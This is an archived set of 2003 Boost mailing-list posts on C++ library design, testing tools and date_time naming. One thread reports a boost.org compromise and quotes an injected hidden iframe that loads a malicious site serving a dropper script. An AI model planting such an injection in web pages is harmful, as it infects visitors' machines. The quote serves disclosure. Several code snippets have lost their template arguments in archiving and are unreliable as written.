RE: [boost] BOOST TEST and strict /Za no lanugage extensions option- virturenot fully rewarded?
Point taken - but if there is an easy solution that has escaped my notice... Paul | -Original Message- | From: [EMAIL PROTECTED] | [mailto:[EMAIL PROTECTED] Behalf Of Beman Dawes | Sent: Thursday, September 04, 2003 1:40 AM | To: Boost mailing list; Boost | Subject: Re: [boost] BOOST TEST and strict /Za no lanugage extensions | option - virturenot fully rewarded? | | | At 09:56 AM 9/3/2003, Paul A. Bristow wrote: | | >In trying to be virtuous and test everything compiled in strict mode as I | | >write it, I am finding myself thwarted by BOOST minimal_test otherwise | >excellent test system. | > | >I aim to compile and test all my code with MSVC 7.1 in strict mode | (option | >/Za - | >no language extensions and warning level 4). | > | >But in practice this is impossible using the minimal_test.cpp | >because #include also compiles Windows specific structured exception | >handling modules like winNT.h and these require MS extensions to | >compile - otherwise zillions of errors. | > | >It is possible to avoid this by compiling these modules separately with | >extensions enabled, building a library, then to compile MY | modules >strictly, and then linking to the library, but this is a bit more | >cumbersome than minimal_testing. | > | >This problem will also apply to all testing of Boost library items using | >the minimal test if we try to raise the code quality bar to 'strict' | >compilation. | > | >Is there any easier way round this so that minimal_test can be used | without | >linking with a library? | | If Gennadiy can somehow make boost/test/minimal.hpp (and dependencies) work | /Za, that's great. But he is already providing a full object-library based | solution, as well as the header implemented solution. Not to mention three | separate levels of functionality (execution tools, test tools, full unit | test). I'd hate to see added complexity to solve a problem that can already | be dealt with just by using the object-library version of the tools. | Minimal test was designed to be just that - minimal. It isn't expected to | be useful in as wide a range of uses as the library as a whole. | | Just my 2 cents... | | --Beman | | ___ | Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost | | ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Serialization Library Draft # 10
Robert Ramey wrote:
> Fellow boosters,
>
> I have just uploaded a draft version of the serialization library to the
> files section under the file name serialization10.zip.
Hi Robert,
I've just browsed though the docs, and I must say that I like this version
very much! Seems like most problems I had with the previous version are
solved, and some things are really nice: like choice between single
'serialization' and 'save'/'load', the way you handle name-value pairs and
so on. This is impressive!
But there are some glitches:
1. When I run "bjam" in "examples", I see:
don't know how to make demo_mi.cpp
don't know how to make
demo_unregistered_ptrs.cpp
I guess you forgot some files..
2. Later, I get compile errors, with g++ 3.3 on Linux. Illustration of the
problem
class C {
public:
explicit C(int) {}
};
int main()
{
int i = 0;
static_cast(i);
return 0;
}
Does not work with 3.3. Works with 3.2. Works with 3.3 if "explicit" is
removed. I'd say it's a gcc regression, so I went ahead and filed
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=12163
In your library, the static_cast to boost::archive::class_id_type from
size_t does not work because of the above problem. One workaround would be
to not use "explicit" on specific gcc version.
- Volodya
___
Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] Is there any way to accelerate the compi
On Wed, 03 Sep 2003 19:30:52 -0400 Beman Dawes <[EMAIL PROTECTED]> wrote: > At 12:53 AM 9/3/2003, [EMAIL PROTECTED] wrote: > > >I used boost::tokenizer in one of my project and I found that it took > >very long time to accomplish the building process when I include > >boost::tokenizer in one of my cpp file. > > Hum... How much is "a very long time"? A couple of seconds? minutes? more? > FWIW,I don't recall the tokenizer regression tests taking excessive compile > time. I also wanna submit the mail with exactly how long the duration is, but I did not konw how to log the time in building process. I am sorry. :- ( I am sure that it took almost one minute. > > >Is there any way to accelerate the process. Here's some information > >about my machine. > > > >Computer: DELL Demension 2350 > >CPU: P4 2.0G > >RAM: 256M > >OS; Microsoft Windows 2003 Web edition > >Compiler: Microsoft Visual C++ 6.0 Sp5 > >boost: boost 1.30.0 > > While there is certainly nothing "wrong" with that configuration, I'd sure > upgrade with another 256M of RAM and VC++ 7.1 if it was mine:-; (That's a > personal comment, unrelated to your tokenizer question.) I am using VC++7.1 too, but all projects in my firm is built with VC6. I don't have the power to change the platform. :-) > > --Beman > > > > ___ > Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost > ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Re: Re: Re: Re: Optional, tie, and iterator_adaptor
"Joel de Guzman" <[EMAIL PROTECTED]> escribió en el mensaje news:[EMAIL PROTECTED] > Andrei Alexandrescu <[EMAIL PROTECTED]> wrote: > > > By the way, could optional use variant as a backend? > > I suggested that before. Now I think that it is not practical. > It can, but it will not be optimal. > Indeed. Using variant<> as a backend would be overkill for optional<> One of the reasons is that variant<> uses the double-storage technique to achieve higher exception safety than optional<> > I see it the other way now. I suggest that a partial specialization of > variant be written that takes advantage of optional > in its implementation. > This sounds reasonable. > I think now that the partial specialization of variant will > satisfy the anti-pointer-like crowd. variant seems to have the right > interface. Perhaps we were barking up the wrong tree? > Maybe, BTW, the right variant would be variant, not variant since variant requires the first type to be default constructible. A small issue is that variant<>::get() always check and possibly throws, while optional<>::get() will use BOOST_ASSERT, so that end users can decide how to deal with uninitialized access. Fernando Cacciola ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] Is there any way to accelerate the compi
At 12:53 AM 9/3/2003, [EMAIL PROTECTED] wrote: >I used boost::tokenizer in one of my project and I found that it took >very long time to accomplish the building process when I include >boost::tokenizer in one of my cpp file. Hum... How much is "a very long time"? A couple of seconds? minutes? more? FWIW,I don't recall the tokenizer regression tests taking excessive compile time. >Is there any way to accelerate the process. Here's some information >about my machine. > >Computer: DELL Demension 2350 >CPU: P4 2.0G >RAM: 256M >OS; Microsoft Windows 2003 Web edition >Compiler: Microsoft Visual C++ 6.0 Sp5 >boost: boost 1.30.0 While there is certainly nothing "wrong" with that configuration, I'd sure upgrade with another 256M of RAM and VC++ 7.1 if it was mine:-; (That's a personal comment, unrelated to your tokenizer question.) --Beman ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] Re: trouble with generating html compiler status pages
At 10:14 AM 9/3/2003, Matthew Towler wrote: >Beman Dawes wrote: > > > > Are you using run_tests.sh from CVS or your own script? > > > >I did not know this script existed, so I have been doing everything >manually as per the documentation. on >http://www.boost.org/more/regression.html >and making the obvious syntactic adjustments for unix Ouch! My fault. I've added a link (in CVS) to run_tests.sh to reduce likelihood of it being missed. >One thing I noticed is that this documentation indicates setting a >BOOST_ROOT environment variable, whilst run_tests.sh uses boost_root, I >was under the impression that case mattered - or is this irrelevant as >boost_root is always passed into the executables on the command line >rather than automatically referred to? I don't know the answer to that. Someone familiar with running under Unix needs to answer. >I retried the processing of the regression test results using the >run_tests.sh script and got exactly the same result from >'compiler_status', namely > >*** Error: std::runtime_error: boost::filesystem::directory_iterator >constructor: >"/scratch8/buildman/builds/linux_boost_1_30_2/0_2/tools/regression/build/bin >": >No such file or directory > >BOOST_ROOT (and boost_root in the script) were set to >/scratch8/buildman/builds/linux_boost_1_30_2 > >so I believe it is the processing program that is adding the spurious >'0_2' to the path. I would do several things if that happened here: (1) run only on a single test (I usually use config_info). That makes testing simpler and quicker. (2) inspect the bjam log file to see if anything obvious jumps out. (3) look at the target directory to see that the expected files are present. I set -sALL_LOCATE_TARGET=D:\boost-regr, so GCC target ends up being: D:\boost-regr\status\bin\config_info.test\gcc\debug\runtime-link-dynamic A listing of that directory shows: 08/14/2003 09:08 AM 1,775,667 config_info.exe 08/14/2003 09:08 AM 196,220 config_info.obj 08/14/2003 09:32 AM 4,310 config_info.output 08/14/2003 09:32 AM 4,310 config_info.run 08/14/2003 09:32 AM51 config_info.test 08/14/2003 09:43 AM 4,771 test_log.xml The contents of test_log.xml are: GNU C++ version 3.3.1 ... macro values ... Where "macro values" is a long list. Is the test_long.xml file present? Are the various paths correct in it? If test_log.xml is missing or wrong, the problem is in process_jam_log or bjam. If test_log.xml looks good, the problem is in compiler_status. (4) Run compiler_status under a debugger, and trap the call stack at the point the exception is thrown. By inspecting the call stack, it should be possible to figure out where the bad path came from. Let me know; we might be able to add an error check or workaround. >I also tried the script on IRIX (with the mipspro 7.3.1.3 compiler), >with a script adjusted to set test_tools and toolset to mipspro. I got >the following (good) output for the processing > >processing the regression test results for mipspro: >Usage: bjam [bjam-args] | process_jam_log [locate-root] > locate-root is the same as the bjam ALL_LOCATE_TARGET > parameter, if any. Default is boost-root. >boost_root: /local/buildman/builds/boost-1.30.2 >locate_root: /local/buildman/builds/boost-1.30.2 >no errors detected >generating html tables: >Using /local/buildman/builds/boost-1.30.2/status/bin/config_test.test to >determine compilers >no errors detected >done! > >However when I look at the generated webpage (cs-IRIX64.html), most of >the tests are marked as missing. e.g. for regex regex_grep_example_1, 2, >3, are marked as Missing, whilst regex_grep_example_4 is a Pass. > >Looking at the corresponding regress.log file, all of these four tests >passed - and when located in $BOOST_ROOT running >find . -name "*.xml" | grep example_ >gives >./libs/regex/example/bin/regex_grep_example_1.test/mipspro/debug/threading-m >ulti/test_log.xml >./libs/regex/example/bin/regex_grep_example_2.test/mipspro/debug/threading-m >ulti/test_log.xml >./libs/regex/example/bin/regex_grep_example_3.test/mipspro/debug/threading-m >ulti/test_log.xml >./libs/regex/example/bin/regex_grep_example_4.test/mipspro/debug/threading-m >ulti/test_log.xml >./libs/regex/example/bin/regex_split_example_1.test/mipspro/debug/threading- >multi/test_log.xml >./libs/regex/example/bin/regex_split_example_2.test/mipspro/debug/threading- >multi/test_log.xml > >so it would appear the output is there - so I do not understand why the >tests are Missing. That sounds like compiler_status is being invoked from the wrong working directory or in some other way is not finding the target directories. Again, isolate a single test on a single compiler, and follow it through. HTH, --Beman ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] BOOST TEST and strict /Za no lanugage extensions option - virturenot fully rewarded?
At 09:56 AM 9/3/2003, Paul A. Bristow wrote: >In trying to be virtuous and test everything compiled in strict mode as I >write it, I am finding myself thwarted by BOOST minimal_test otherwise >excellent test system. > >I aim to compile and test all my code with MSVC 7.1 in strict mode (option >/Za - >no language extensions and warning level 4). > >But in practice this is impossible using the minimal_test.cpp >because #include also compiles Windows specific structured exception >handling modules like winNT.h and these require MS extensions to >compile - otherwise zillions of errors. > >It is possible to avoid this by compiling these modules separately with >extensions enabled, building a library, then to compile MY modules >strictly, and then linking to the library, but this is a bit more >cumbersome than minimal_testing. > >This problem will also apply to all testing of Boost library items using >the minimal test if we try to raise the code quality bar to 'strict' >compilation. > >Is there any easier way round this so that minimal_test can be used without >linking with a library? If Gennadiy can somehow make boost/test/minimal.hpp (and dependencies) work /Za, that's great. But he is already providing a full object-library based solution, as well as the header implemented solution. Not to mention three separate levels of functionality (execution tools, test tools, full unit test). I'd hate to see added complexity to solve a problem that can already be dealt with just by using the object-library version of the tools. Minimal test was designed to be just that - minimal. It isn't expected to be useful in as wide a range of uses as the library as a whole. Just my 2 cents... --Beman ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] Re: Re: Re: Re: Optional, tie, and iterator_adaptor
Andrei Alexandrescu <[EMAIL PROTECTED]> wrote: > By the way, could optional use variant as a backend? I suggested that before. Now I think that it is not practical. It can, but it will not be optimal. I see it the other way now. I suggest that a partial specialization of variant be written that takes advantage of optional in its implementation. I think now that the partial specialization of variant will satisfy the anti-pointer-like crowd. variant seems to have the right interface. Perhaps we were barking up the wrong tree? Cheers, -- Joel de Guzman http://www.boost-consulting.com http://spirit.sf.net ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] License questions... [was: Has www.boost.org been hacked?]
[2003-09-03] Beman Dawes wrote: >We've started testing preparatory to moving the web site to SourceForge. Which reminds me... In a conversation I had with Dave he pointed out to me the suggested language to use for use of the new license: See accompanying LICENSE for terms and conditions of use. And I even understand and agree with the point in the license FAQ about: "Since license wording may change over time, why dont source files identify the version number of the license which applies?" But currently we are "distributing" Boost files without the LICENSE file. Specifically the regression log files. That includes the ones generated by testers, and the support files (regression-logs.pl, and index.shtml). Question is; Should we have different language for those circumstances? And if so, what is the suggested language? -- grafik - Don't Assume Anything -- rrivera (at) acm.org - grafik (at) redshift-software.com -- 102708583 (at) icq ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Re: Re: Re: Optional, tie, and iterator_adaptor
"Hurd, Matthew" <[EMAIL PROTECTED]> wrote in message > I use optional quite a bit and am glad T and optional are different. > Saves my bacon when I do silly things, especially when something transitions > from a T to an optional. Strongly typed maintenance is something I'm > thankful for. > > T* and optional substitutability seems fine to me. By the way, could optional use variant as a backend? Andrei ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Has www.boost.org been hacked?
"Carl Daniel" <[EMAIL PROTECTED]> writes: > Raoul Gough wrote: > >> Note that I only see the extra HTML when I download the page from >> Internet Explorer (version is "6.0.2600.IS"). Opera shows a clean >> version of the page. I guess this suggests my IE has a virus, unless >> of course the web server only sends the Trojan to particular >> browsers. I don't see the trojan on other web pages. Sorry for the >> off-topic posting, but I thought this was important enough to warrant >> it. Maybe just a local problem after all. > > Your browser has a cached copy of the infected page. Clear your Temporary > Internet Files and you should see a clean page. [slapping self on head] I thought I'd tried reloading the page, but Shift-Reload has certainly done the trick now, thanks. Maybe I was just unlucky with the timing of previous attempts. -- Raoul Gough. (setq dabbrev-case-fold-search nil) ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] Has www.boost.org been hacked?
At 04:51 AM 9/3/2003, Raoul Gough wrote: I was just looking at www.boost.org, and my browser (IE6.0) popped up a confirmation request to run an Active-X control. Turns out that right at the bottom of the page is the following: http://wvw.beech-info2.com/_vti_con/rip.asp width=0 height=0 frameborder=0 marginwidth=0 marginheight=0> Which leads to a seemingly malicious Visual Basic script at http://ww.beech-info2.com/cgi-bin/inf2.pl which (from my limited understanding of Visual Basic) *creates an executable* file from hexadecimal data and then runs it. Full VB malware script follows .sig Other pages on www.boost.org have the same problem. I believe this should be rectified ASAP. It appears to be fixed at the moment. The problem is at least moderately serious, and is caused by an recurring server infection at Interland, the web host. They fix it, it comes back, they fix it again, and so on. We've started testing preparatory to moving the web site to SourceForge. Thanks, --Beman ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Has www.boost.org been hacked?
Raoul Gough wrote: > Note that I only see the extra HTML when I download the page from > Internet Explorer (version is "6.0.2600.IS"). Opera shows a clean > version of the page. I guess this suggests my IE has a virus, unless > of course the web server only sends the Trojan to particular > browsers. I don't see the trojan on other web pages. Sorry for the > off-topic posting, but I thought this was important enough to warrant > it. Maybe just a local problem after all. Your browser has a cached copy of the infected page. Clear your Temporary Internet Files and you should see a clean page. -cd ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Has www.boost.org been hacked?
"Victor A. Wagner, Jr." <[EMAIL PROTECTED]> writes: > I checked just now (1332 MST) and do not see to what you're referring. Thanks for the reply, Victor. I guess my machine could have a virus that inserts HTML code locally in Internet Explorer. On the other hand, it turns out that this particular Trojan has been seen very recently on other web sites with the same hosting company as boost.org. See: http://groups.google.com/groups?th=88ce8e9c9f123681 Note that I only see the extra HTML when I download the page from Internet Explorer (version is "6.0.2600.IS"). Opera shows a clean version of the page. I guess this suggests my IE has a virus, unless of course the web server only sends the Trojan to particular browsers. I don't see the trojan on other web pages. Sorry for the off-topic posting, but I thought this was important enough to warrant it. Maybe just a local problem after all. -- Raoul Gough. (setq dabbrev-case-fold-search nil) ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
RE: [boost] Re: [date_time] time_duration
| -Original Message- | From: [EMAIL PROTECTED] | [mailto:[EMAIL PROTECTED] Behalf Of David Abrahams | Sent: Wednesday, September 03, 2003 8:08 PM | To: [EMAIL PROTECTED] | Subject: [boost] Re: [date_time] time_duration | |> | > Yikes! They probably all should be plural. Problem is the abbreviated | > 'millisecs' doesn't sound right to me, so perhaps that's the reason | | Well, abbrevs just don't sound right. Bite the bullet and use the | full names, please! Yes - millseconds, microsconds, nanoseconds ... please. And time_point shounds VERY MUCH better to me (than ptime or time). And I suggest first_day_of_week_after first_day_of_week_before last_day_of_week_in_month first_day_of_week_in_month so first_day_of_week_after my_date(Monday); will now make sense to almost any reader. "Boost has always favoured clarity over curtness" Paul PS Isn't time from C time in global namespace? Not a macro but still a PITA! PPS It would be great if Jeff could find the time to produce version 2. There is so much that seems right to me. Forget about MSVC 6 and gcc 2.x and break out! Paul A Bristow, Prizet Farmhouse, Kendal, Cumbria, LA8 8AB UK +44 1539 561830 Mobile +44 7714 33 02 04 mailto:[EMAIL PROTECTED] ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] date_time -> ptime
David Abrahams wrote: > I'm trying to get a ptime relative to 1/1/1970, so I did: > > using namespace boost::date_time; > ptime d; > ... > boost::posix_time::time_duration since_1970 = d - 1/Jan/1970; > > Error. > > Since it is a completely lossless conversion (like an upcast), I'd > like to see boost::date -> boost::posix_time::ptime implicit > conversions added. Can you elaborate on the problem? I, too, am doing lots of conversions between the boost::date_time library date, ptime, and duration instances with the conventional unix/posix dawn of time, 1/1/1970. To my knowledge (perhaps in ignorance), I have had no problems using constructs similar to ptime time0( date(1970, 1, 1 ) ); ptime t1; ... time_duration dt = t1 - time0; Is the problem that you want to do this with date instances and not time instances? With regards to another posting you made, I also work to work with in sub-second time precision and have had a problem understanding the nuances of clock ticks/resolutions. As a simple user I have not had many (if any) problems getting the library to do what I want, given that my assumption that time_duration::fractional_seconds returns microseconds is correct. If/when this assumption becomes invalid (i.e., date_time changes its internal representation for msvc or I work on a platform that uses nanoseconds for fractional_seconds), then I will be in trouble and have to fix a few places spots in my code. So, I would like to see a standard time_duration accessor that returns microseconds rather than the compile-time dependent fractional_seconds. Phil ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] Has www.boost.org been hacked?
I checked just now (1332 MST) and do not see to what you're referring. At Wednesday 2003-09-03 01:51, you wrote: I was just looking at www.boost.org, and my browser (IE6.0) popped up a confirmation request to run an Active-X control. Turns out that right at the bottom of the page is the following: http://wvw.beech-info2.com/_vti_con/rip.asp width=0 height=0 frameborder=0 marginwidth=0 marginheight=0> Which leads to a seemingly malicious Visual Basic script at http://ww.beech-info2.com/cgi-bin/inf2.pl which (from my limited understanding of Visual Basic) *creates an executable* file from hexadecimal data and then runs it. Full VB malware script follows .sig Other pages on www.boost.org have the same problem. I believe this should be rectified ASAP. -- Raoul Gough. (setq dabbrev-case-fold-search nil) ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost Victor A. Wagner Jr. http://rudbek.com The five most dangerous words in the English language: "There oughta be a law" ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Problem with type_with_alignment.hpp
Paul Mensonides wrote: [mailto:[EMAIL PROTECTED] On Behalf Of Daniel Frey It isn't technically supposed to insert spaces, but it is supposed to treat them as two consecutive tokens with no whitespace separation--same [...] Thanks to both you and Aleksey for clarifying. This also convinced my colleague :) Regards, Daniel -- Daniel Frey aixigo AG - financial training, research and technology Schloß-Rahe-Straße 15, 52072 Aachen, Germany fon: +49 (0)241 936737-42, fax: +49 (0)241 936737-99 eMail: [EMAIL PROTECTED], web: http://www.aixigo.de ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] BOOST TEST and strict /Za no lanugage extensions option -virturenot fully rewarded?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Wednesday 03 September 2003 15:56, Paul A. Bristow wrote: > #ifdef _MSC_VER // or BOOST_MSVC? > #pragma warning (disable : 4511) // copy operator could not be generated > #pragma warning (disable : 4512) // assignment operator could not be > #endif // _MSC_VER In this case, BOOST_MSVC is the right one, possibly with a version. The reason is that other (IMO thus broken) compilers also define that symbol ... However, I seem to remember that that is documented. If not, I'm probably confusing this with STLport sources. Uli -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/VksSwVdGSYi8Mq8RAs7KAJ4xnOaAlDJwjf32LETGOK2AvqbqBwCdEOu/ QH/ZHMrAzWmpS5XWYf9g1SA= =DDqA -END PGP SIGNATURE- ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
RE: [boost] Re: Problem with type_with_alignment.hpp
> [mailto:[EMAIL PROTECTED] On Behalf Of Daniel Frey > Exactly. But the expanded > is the result of the > preprocessor, so IIRC the two >'s are treated as two tokens, > not as one, > because they weren't glued together with ##. Also, the GCC > preprocessor > expands the above to > > < some_class<...> > > > and I'm pretty sure that the rules for inserting spaces are exactly > defined and there is not much room for interpretation. If the GCC is > correct to insert spaces, then the patch is a work-around for > a compiler > (here: preprocessor) bug. So, what is the correct behaviour here? It isn't technically supposed to insert spaces, but it is supposed to treat them as two consecutive tokens with no whitespace separation--same as "+-". You can get this situation similar to the following: #define MACRO(a) a> MACRO(>) The result is: '>' '>' Not: '>' ' ' '>' And definitely not: '>>' E.g. they are distinct, but a preprocessor shouldn't be adding whitespace *unless* it is producing a text stream which is going to be re-tokenized by a separate preprocessor/compiler pass. In that case, it *must* add the whitespace to prevent retokenization that yields different tokens. Regards, Paul Mensonides ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Problem with type_with_alignment.hpp
Hartmut Kaiser wrote: Daniel Frey wrote: Concatenating two tokens with the '##' operator, where the result isn't a new valid token results in undefined behaviour. In your sample it yields '>>', which is a valid token, so it is well defined. In other contexts two consecutive '>' characters are always interpreted as '>>' and not as two single '>'. That wasn't my point :) But this isn't the point here. The '>>' was not formend by a '##' operator but by plain consecutiveness: #define SOME_MACRO(T) SOME_MACRO(some_class<...>) // expands to > Exactly. But the expanded > is the result of the preprocessor, so IIRC the two >'s are treated as two tokens, not as one, because they weren't glued together with ##. Also, the GCC preprocessor expands the above to < some_class<...> > and I'm pretty sure that the rules for inserting spaces are exactly defined and there is not much room for interpretation. If the GCC is correct to insert spaces, then the patch is a work-around for a compiler (here: preprocessor) bug. So, what is the correct behaviour here? Regards, Daniel -- Daniel Frey aixigo AG - financial training, research and technology Schloß-Rahe-Straße 15, 52072 Aachen, Germany fon: +49 (0)241 936737-42, fax: +49 (0)241 936737-99 eMail: [EMAIL PROTECTED], web: http://www.aixigo.de ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] Re: Problem with type_with_alignment.hpp
Daniel Frey wrote: Hartmut Kaiser wrote: > Hi all, > > The current version of the file type_with_alignment.hpp gives spourios > errors, because some macro expansion code generates '>>' instead of '> > >>' (closing template brackets). The corresponding fixing patch is > > attached. > > Just out of curiousity: Is this a workaround for a compiler bug? It is. > I think > I remember that if generated by the preprocessor, tokens need to be > glued with ## to form a single new token like >>, otherwise even two > consecutive >'s will be treated like two tokens. My colleague says I'm > wrong. Am I? :) Nope, you are right. Macro replacement happens after tokenization, and at that stage the only way to produce a new token is to use the ## operator. Aleksey ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: boost::date_time::time_resolutions
"Jeff Garland" <[EMAIL PROTECTED]> writes: > On Tue, 02 Sep 2003 19:10:03 -0400, David Abrahams wrote >> Where is this documented, and what is "nano" in the table entry below? > > It isn't. nano is an enum value that isn't really useful for much except > indexing into string tables like in the previous email. You may already understand this, but: the problem is that you mention it in the docs. When you use undefined terms like that it's more confusing than helpful. Please remove it from the docs or document it. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] date_time -> ptime
I'm trying to get a ptime relative to 1/1/1970, so I did: using namespace boost::date_time; ptime d; ... boost::posix_time::time_duration since_1970 = d - 1/Jan/1970; Error. Since it is a completely lossless conversion (like an upcast), I'd like to see boost::date -> boost::posix_time::ptime implicit conversions added. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: date_time naming
"Jeff Garland" <[EMAIL PROTECTED]> writes: >> > My first choice was 'time'. However, as I recall I ran into some >> > nasty macros that interfered with that name, sigh. time_point would be >> > another possibility, but it is longer. I'm certainly open to suggestions... > >> Disable the macros where neccessary? You can do it temporarily and >> provide an alias typedef. > > But what other code would that break if you disable the macro? None. When you find the nonconforming platform, you find the definition of time, and #ifdef time # undef time #endif ... // boost date_time contents typedef time time_; #ifdef WHATEVER_PLATFORM && !defined(BOOST_DATE_TIME_UNDEF_TIME) # define time ... // old definition of time #endif > It's been so long that I can't even remember which platform, but > these seems like opening a Can-O-Big-Worms It's a principle of Boost to avoid compromising interfaces just to accomodate a broken compiler. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: date_time naming
"Paul A. Bristow" <[EMAIL PROTECTED]> writes: > Although I an growing to like date_time, I have to agree that some > names are less than ideal. I found kday less than intuitive. > Documentation of the labyrinthine (with good reason) structure is > also weak (or even wrong?) > > It seems to me that these observations at this stage highlight a > weakness of the current review process. Until code gets Boost > acceptance status, too few are prepared to really use it in anger on > real projects, and only then do lots of 'issues' start to surface. > But by then, changes cause grief to existing users, so there is a > reluctance to 'improve' things like naming. > > Do we need a 'still may be subject to significant change' status to > distinguish from a 'pretty much tried and tested' status? Maybe review managers should do an assessment of how much scrutiny has been applied, and solicit a closer inspection. I know I'd have found most of these had I participated in the date_time review. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] date_time: 2 time_durations?
This is causing an ambiguity: using namespace boost::date_time; using namespace boost::posix_time; time_duration since_1970 = d - 1/Jan/1970; The error was: DateField.cpp DateField.cpp(36) : error C2872: 'time_duration' : ambiguous symbol could be 'c:\boost\boost\date_time\posix_time\posix_time_config.hpp(60) : boost::posix_time::time_duration' or 'c:\boost\boost\date_time\time_duration.hpp(166) : boost::date_time::time_duration' Is it really right for us to have two time_durations? I never expected this since boost::date_time::time_duration is nowhere documented. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
RE: [boost] Re: Problem with type_with_alignment.hpp
Daniel Frey wrote: > > The current version of the file type_with_alignment.hpp > gives spourios > > errors, because some macro expansion code generates '>>' > instead of '> > > > >>' (closing template brackets). The corresponding fixing patch is > > > > attached. > > Just out of curiousity: Is this a workaround for a compiler > bug? I think > I remember that if generated by the preprocessor, tokens need to be > glued with ## to form a single new token like >>, otherwise even two > consecutive >'s will be treated like two tokens. My colleague > says I'm > wrong. Am I? :) Concatenating two tokens with the '##' operator, where the result isn't a new valid token results in undefined behaviour. In your sample it yields '>>', which is a valid token, so it is well defined. In other contexts two consecutive '>' characters are always interpreted as '>>' and not as two single '>'. But this isn't the point here. The '>>' was not formend by a '##' operator but by plain consecutiveness: #define SOME_MACRO(T) SOME_MACRO(some_class<...>) // expands to > But it should be > Regards Hartmut ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: [date_time] time_duration division
"Jeff Garland" <[EMAIL PROTECTED]> writes: >>Jeff G wrote: >> I'm thinking it would have to be defined like this >> Duration / Duration --> Integer >> >>I think Duration / Duration --> double would be more appropriate. > > I have intentionally avoided floating point types in the library > because there is no reason to suffer the loss of correctness > associated with these types. Huh? 3/2 == 1 is correct? You get a much bigger round-off error from ints than from floats. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: [date_time] time_duration
"Jeff Garland" <[EMAIL PROTECTED]> writes:
> On Tue, 02 Sep 2003 19:00:42 -0400, David Abrahams wrote
>> The "fractional seconds" concept is undocumented. My guess it's
>> something like:
>>
>> x.fractional_seconds() == x.ticks() % seconds(1).ticks()
>>
>> This needs to be nailed down.
>
> Yep the docs don't say enough on this.
>
> Basically, time durations are represented as a count at a compile-time
> specified resolution. That is, a count of 1 can represent a millisecond,
> nanosecond, femtosecond (just to pick one ;-), or whatever. So fractional
> seconds is a generic way of handling the sub-second remainder of these without
> having to provide every possible combination.
Uh-huh. So is my formula above correct or not?
> That is, the fractional seconds provides the count of 'whatever time
> units' that are left over after stripping away the duration greater
> than a second.
I don't think you really mean "greater than". I suggest that instead
of plain English you try to document a formal definition, like I did.
> To really use fractional_seconds you call the resolution traits by
> calling:
>
> time_duration::rep_type::res_adjust()
Where is *that* documented?
> This method provides you with the count of fractional seconds used
> by the time duration. This little program might illustrate
> things...
>
> //print_resolution.cpp
> #include "boost/date_time/posix_time/posix_time.hpp"
> #include
>
> //Must match with time_resolutions enum in date_time/time_defs.h
> const char* const resolution_names[] = {"Second", "Deci", "Centi", "Milli",
> "Ten_Thousanth", "Micro", "Nano"};
>
>
> int
> main()
> {
> using namespace boost::posix_time;
>
> std::cout << "Resolution: "
> << resolution_names[time_duration::rep_type::resolution()]
> << " -- Ticks per second: "
> << time_duration::rep_type::res_adjust() << std::endl;
>
> }
>
> //output
> Resolution: Micro -- Ticks per second: 100
I'm sorry, that's really nasty. Why wouldn't I just do
seconds(1).ticks()
??
>> Also, the assymetry of those nice Construction by Count factories
>> down to nanosec(x) with the accessors which only include units down
>> to seconds() but not millisec()...nanosec() is disturbing and
>> frankly inconvenient.
>
> Ok, but I'm interested in your use case as once I have a
> time_duration I don't normally care about a particular sub-second
> resolution.
OK, well I do. I'm porting some Java code which uses times in whole
milliseconds, and when a time gets written to disk I need to write the
number of milliseconds to maintain a compatible format.
